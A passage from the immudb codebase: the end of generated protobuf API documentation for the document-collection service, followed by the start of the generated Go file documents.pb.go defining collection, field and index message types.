fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated | | ### RemoveFieldRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collectionName | [string](#string) | | | | fieldName | [string](#string) | | | ### RemoveFieldResponse ### ReplaceDocumentsRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | query | [Query](#immudb.model.Query) | | | | document | [google.protobuf.Struct](#google.protobuf.Struct) | | | ### ReplaceDocumentsResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | ### SearchDocumentsRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | searchId | [string](#string) | | | | query | [Query](#immudb.model.Query) | | | | page | [uint32](#uint32) | | | | pageSize | [uint32](#uint32) | | | | keepOpen | [bool](#bool) | | | ### SearchDocumentsResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | searchId | [string](#string) | | | | revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | ### UpdateCollectionRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | documentIdFieldName | [string](#string) | | | ### UpdateCollectionResponse ### ComparisonOperator | Name | Number | Description | | ---- | ------ | ----------- | | EQ | 0 | | | NE | 1 | | | LT | 2 | | | LE | 3 | | | GT | 4 | | | GE | 5 | | | LIKE | 6 | | | NOT_LIKE | 7 | | ### FieldType | Name | Number | Description | | ---- | ------ | ----------- | | STRING | 0 | | | BOOLEAN | 1 | | | INTEGER | 2 | | | DOUBLE | 3 | | | UUID | 4 | | ### DocumentService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| | CreateCollection | [CreateCollectionRequest](#immudb.model.CreateCollectionRequest) | [CreateCollectionResponse](#immudb.model.CreateCollectionResponse) | | | GetCollections | [GetCollectionsRequest](#immudb.model.GetCollectionsRequest) | [GetCollectionsResponse](#immudb.model.GetCollectionsResponse) | | | GetCollection | [GetCollectionRequest](#immudb.model.GetCollectionRequest) | [GetCollectionResponse](#immudb.model.GetCollectionResponse) | | | UpdateCollection | [UpdateCollectionRequest](#immudb.model.UpdateCollectionRequest) | [UpdateCollectionResponse](#immudb.model.UpdateCollectionResponse) | | | DeleteCollection | [DeleteCollectionRequest](#immudb.model.DeleteCollectionRequest) | [DeleteCollectionResponse](#immudb.model.DeleteCollectionResponse) | | | AddField | [AddFieldRequest](#immudb.model.AddFieldRequest) | [AddFieldResponse](#immudb.model.AddFieldResponse) | | | RemoveField | [RemoveFieldRequest](#immudb.model.RemoveFieldRequest) | [RemoveFieldResponse](#immudb.model.RemoveFieldResponse) | | | CreateIndex | [CreateIndexRequest](#immudb.model.CreateIndexRequest) | [CreateIndexResponse](#immudb.model.CreateIndexResponse) | | | DeleteIndex | [DeleteIndexRequest](#immudb.model.DeleteIndexRequest) | [DeleteIndexResponse](#immudb.model.DeleteIndexResponse) | | | InsertDocuments | [InsertDocumentsRequest](#immudb.model.InsertDocumentsRequest) | [InsertDocumentsResponse](#immudb.model.InsertDocumentsResponse) | | | ReplaceDocuments | [ReplaceDocumentsRequest](#immudb.model.ReplaceDocumentsRequest) | [ReplaceDocumentsResponse](#immudb.model.ReplaceDocumentsResponse) | | | DeleteDocuments | [DeleteDocumentsRequest](#immudb.model.DeleteDocumentsRequest) | [DeleteDocumentsResponse](#immudb.model.DeleteDocumentsResponse) | | | SearchDocuments | [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) | [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse) | | | CountDocuments | [CountDocumentsRequest](#immudb.model.CountDocumentsRequest) | [CountDocumentsResponse](#immudb.model.CountDocumentsResponse) | | | AuditDocument | [AuditDocumentRequest](#immudb.model.AuditDocumentRequest) | [AuditDocumentResponse](#immudb.model.AuditDocumentResponse) | | | ProofDocument | [ProofDocumentRequest](#immudb.model.ProofDocumentRequest) | [ProofDocumentResponse](#immudb.model.ProofDocumentResponse) | | ## Scalar Value Types | .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | | ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | | double | | double | double | float | float64 | double | float | Float | | float | | float | float | float | float32 | float | float | Float | | int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | | int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | | uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | | uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | | sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | | sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | | fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | | fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | | sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | | sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | | bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | | string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | | bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | ================================================ FILE: pkg/api/protomodel/documents.pb.go ================================================ // //Copyright 2023 Codenotary Inc. All rights reserved. // //Licensed under the Apache License, Version 2.0 (the "License"); //you may not use this file except in compliance with the License. //You may obtain a copy of the License at // //http://www.apache.org/licenses/LICENSE-2.0 // //Unless required by applicable law or agreed to in writing, software //distributed under the License is distributed on an "AS IS" BASIS, //WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //See the License for the specific language governing permissions and //limitations under the License. // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.32.0 // protoc v3.21.12 // source: documents.proto package protomodel import ( schema "github.com/codenotary/immudb/pkg/api/schema" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) const ( // Verify that this generated code is sufficiently up-to-date. _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) // Verify that runtime/protoimpl is sufficiently up-to-date. _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) type FieldType int32 const ( FieldType_STRING FieldType = 0 FieldType_BOOLEAN FieldType = 1 FieldType_INTEGER FieldType = 2 FieldType_DOUBLE FieldType = 3 FieldType_UUID FieldType = 4 ) // Enum value maps for FieldType. var ( FieldType_name = map[int32]string{ 0: "STRING", 1: "BOOLEAN", 2: "INTEGER", 3: "DOUBLE", 4: "UUID", } FieldType_value = map[string]int32{ "STRING": 0, "BOOLEAN": 1, "INTEGER": 2, "DOUBLE": 3, "UUID": 4, } ) func (x FieldType) Enum() *FieldType { p := new(FieldType) *p = x return p } func (x FieldType) String() string { return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) } func (FieldType) Descriptor() protoreflect.EnumDescriptor { return file_documents_proto_enumTypes[0].Descriptor() } func (FieldType) Type() protoreflect.EnumType { return &file_documents_proto_enumTypes[0] } func (x FieldType) Number() protoreflect.EnumNumber { return protoreflect.EnumNumber(x) } // Deprecated: Use FieldType.Descriptor instead. func (FieldType) EnumDescriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{0} } type ComparisonOperator int32 const ( ComparisonOperator_EQ ComparisonOperator = 0 ComparisonOperator_NE ComparisonOperator = 1 ComparisonOperator_LT ComparisonOperator = 2 ComparisonOperator_LE ComparisonOperator = 3 ComparisonOperator_GT ComparisonOperator = 4 ComparisonOperator_GE ComparisonOperator = 5 ComparisonOperator_LIKE ComparisonOperator = 6 ComparisonOperator_NOT_LIKE ComparisonOperator = 7 ) // Enum value maps for ComparisonOperator. var ( ComparisonOperator_name = map[int32]string{ 0: "EQ", 1: "NE", 2: "LT", 3: "LE", 4: "GT", 5: "GE", 6: "LIKE", 7: "NOT_LIKE", } ComparisonOperator_value = map[string]int32{ "EQ": 0, "NE": 1, "LT": 2, "LE": 3, "GT": 4, "GE": 5, "LIKE": 6, "NOT_LIKE": 7, } ) func (x ComparisonOperator) Enum() *ComparisonOperator { p := new(ComparisonOperator) *p = x return p } func (x ComparisonOperator) String() string { return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) } func (ComparisonOperator) Descriptor() protoreflect.EnumDescriptor { return file_documents_proto_enumTypes[1].Descriptor() } func (ComparisonOperator) Type() protoreflect.EnumType { return &file_documents_proto_enumTypes[1] } func (x ComparisonOperator) Number() protoreflect.EnumNumber { return protoreflect.EnumNumber(x) } // Deprecated: Use ComparisonOperator.Descriptor instead. func (ComparisonOperator) EnumDescriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{1} } type CreateCollectionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` DocumentIdFieldName string `protobuf:"bytes,2,opt,name=documentIdFieldName,proto3" json:"documentIdFieldName,omitempty"` Fields []*Field `protobuf:"bytes,3,rep,name=fields,proto3" json:"fields,omitempty"` Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` } func (x *CreateCollectionRequest) Reset() { *x = CreateCollectionRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CreateCollectionRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*CreateCollectionRequest) ProtoMessage() {} func (x *CreateCollectionRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CreateCollectionRequest.ProtoReflect.Descriptor instead. func (*CreateCollectionRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{0} } func (x *CreateCollectionRequest) GetName() string { if x != nil { return x.Name } return "" } func (x *CreateCollectionRequest) GetDocumentIdFieldName() string { if x != nil { return x.DocumentIdFieldName } return "" } func (x *CreateCollectionRequest) GetFields() []*Field { if x != nil { return x.Fields } return nil } func (x *CreateCollectionRequest) GetIndexes() []*Index { if x != nil { return x.Indexes } return nil } type CreateCollectionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *CreateCollectionResponse) Reset() { *x = CreateCollectionResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[1] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CreateCollectionResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*CreateCollectionResponse) ProtoMessage() {} func (x *CreateCollectionResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[1] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CreateCollectionResponse.ProtoReflect.Descriptor instead. func (*CreateCollectionResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{1} } type Field struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` Type FieldType `protobuf:"varint,2,opt,name=type,proto3,enum=immudb.model.FieldType" json:"type,omitempty"` } func (x *Field) Reset() { *x = Field{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[2] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Field) String() string { return protoimpl.X.MessageStringOf(x) } func (*Field) ProtoMessage() {} func (x *Field) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[2] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Field.ProtoReflect.Descriptor instead. func (*Field) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{2} } func (x *Field) GetName() string { if x != nil { return x.Name } return "" } func (x *Field) GetType() FieldType { if x != nil { return x.Type } return FieldType_STRING } type Index struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Fields []string `protobuf:"bytes,1,rep,name=fields,proto3" json:"fields,omitempty"` IsUnique bool `protobuf:"varint,2,opt,name=isUnique,proto3" json:"isUnique,omitempty"` } func (x *Index) Reset() { *x = Index{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Index) String() string { return protoimpl.X.MessageStringOf(x) } func (*Index) ProtoMessage() {} func (x *Index) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Index.ProtoReflect.Descriptor instead. func (*Index) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{3} } func (x *Index) GetFields() []string { if x != nil { return x.Fields } return nil } func (x *Index) GetIsUnique() bool { if x != nil { return x.IsUnique } return false } type GetCollectionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` } func (x *GetCollectionRequest) Reset() { *x = GetCollectionRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *GetCollectionRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*GetCollectionRequest) ProtoMessage() {} func (x *GetCollectionRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use GetCollectionRequest.ProtoReflect.Descriptor instead. func (*GetCollectionRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{4} } func (x *GetCollectionRequest) GetName() string { if x != nil { return x.Name } return "" } type GetCollectionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Collection *Collection `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` } func (x *GetCollectionResponse) Reset() { *x = GetCollectionResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *GetCollectionResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*GetCollectionResponse) ProtoMessage() {} func (x *GetCollectionResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use GetCollectionResponse.ProtoReflect.Descriptor instead. func (*GetCollectionResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{5} } func (x *GetCollectionResponse) GetCollection() *Collection { if x != nil { return x.Collection } return nil } type Collection struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` DocumentIdFieldName string `protobuf:"bytes,2,opt,name=documentIdFieldName,proto3" json:"documentIdFieldName,omitempty"` Fields []*Field `protobuf:"bytes,3,rep,name=fields,proto3" json:"fields,omitempty"` Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` } func (x *Collection) Reset() { *x = Collection{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[6] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Collection) String() string { return protoimpl.X.MessageStringOf(x) } func (*Collection) ProtoMessage() {} func (x *Collection) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[6] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Collection.ProtoReflect.Descriptor instead. func (*Collection) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{6} } func (x *Collection) GetName() string { if x != nil { return x.Name } return "" } func (x *Collection) GetDocumentIdFieldName() string { if x != nil { return x.DocumentIdFieldName } return "" } func (x *Collection) GetFields() []*Field { if x != nil { return x.Fields } return nil } func (x *Collection) GetIndexes() []*Index { if x != nil { return x.Indexes } return nil } type GetCollectionsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *GetCollectionsRequest) Reset() { *x = GetCollectionsRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *GetCollectionsRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*GetCollectionsRequest) ProtoMessage() {} func (x *GetCollectionsRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use GetCollectionsRequest.ProtoReflect.Descriptor instead. func (*GetCollectionsRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{7} } type GetCollectionsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Collections []*Collection `protobuf:"bytes,1,rep,name=collections,proto3" json:"collections,omitempty"` } func (x *GetCollectionsResponse) Reset() { *x = GetCollectionsResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *GetCollectionsResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*GetCollectionsResponse) ProtoMessage() {} func (x *GetCollectionsResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use GetCollectionsResponse.ProtoReflect.Descriptor instead. func (*GetCollectionsResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{8} } func (x *GetCollectionsResponse) GetCollections() []*Collection { if x != nil { return x.Collections } return nil } type DeleteCollectionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` } func (x *DeleteCollectionRequest) Reset() { *x = DeleteCollectionRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DeleteCollectionRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*DeleteCollectionRequest) ProtoMessage() {} func (x *DeleteCollectionRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DeleteCollectionRequest.ProtoReflect.Descriptor instead. func (*DeleteCollectionRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{9} } func (x *DeleteCollectionRequest) GetName() string { if x != nil { return x.Name } return "" } type DeleteCollectionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *DeleteCollectionResponse) Reset() { *x = DeleteCollectionResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DeleteCollectionResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*DeleteCollectionResponse) ProtoMessage() {} func (x *DeleteCollectionResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DeleteCollectionResponse.ProtoReflect.Descriptor instead. func (*DeleteCollectionResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{10} } type UpdateCollectionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` DocumentIdFieldName string `protobuf:"bytes,2,opt,name=documentIdFieldName,proto3" json:"documentIdFieldName,omitempty"` } func (x *UpdateCollectionRequest) Reset() { *x = UpdateCollectionRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *UpdateCollectionRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*UpdateCollectionRequest) ProtoMessage() {} func (x *UpdateCollectionRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use UpdateCollectionRequest.ProtoReflect.Descriptor instead. func (*UpdateCollectionRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{11} } func (x *UpdateCollectionRequest) GetName() string { if x != nil { return x.Name } return "" } func (x *UpdateCollectionRequest) GetDocumentIdFieldName() string { if x != nil { return x.DocumentIdFieldName } return "" } type UpdateCollectionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *UpdateCollectionResponse) Reset() { *x = UpdateCollectionResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *UpdateCollectionResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*UpdateCollectionResponse) ProtoMessage() {} func (x *UpdateCollectionResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use UpdateCollectionResponse.ProtoReflect.Descriptor instead. func (*UpdateCollectionResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{12} } type AddFieldRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` Field *Field `protobuf:"bytes,2,opt,name=field,proto3" json:"field,omitempty"` } func (x *AddFieldRequest) Reset() { *x = AddFieldRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *AddFieldRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*AddFieldRequest) ProtoMessage() {} func (x *AddFieldRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use AddFieldRequest.ProtoReflect.Descriptor instead. func (*AddFieldRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{13} } func (x *AddFieldRequest) GetCollectionName() string { if x != nil { return x.CollectionName } return "" } func (x *AddFieldRequest) GetField() *Field { if x != nil { return x.Field } return nil } type AddFieldResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *AddFieldResponse) Reset() { *x = AddFieldResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *AddFieldResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*AddFieldResponse) ProtoMessage() {} func (x *AddFieldResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use AddFieldResponse.ProtoReflect.Descriptor instead. func (*AddFieldResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{14} } type RemoveFieldRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` FieldName string `protobuf:"bytes,2,opt,name=fieldName,proto3" json:"fieldName,omitempty"` } func (x *RemoveFieldRequest) Reset() { *x = RemoveFieldRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *RemoveFieldRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*RemoveFieldRequest) ProtoMessage() {} func (x *RemoveFieldRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use RemoveFieldRequest.ProtoReflect.Descriptor instead. func (*RemoveFieldRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{15} } func (x *RemoveFieldRequest) GetCollectionName() string { if x != nil { return x.CollectionName } return "" } func (x *RemoveFieldRequest) GetFieldName() string { if x != nil { return x.FieldName } return "" } type RemoveFieldResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *RemoveFieldResponse) Reset() { *x = RemoveFieldResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *RemoveFieldResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*RemoveFieldResponse) ProtoMessage() {} func (x *RemoveFieldResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use RemoveFieldResponse.ProtoReflect.Descriptor instead. func (*RemoveFieldResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{16} } type CreateIndexRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields 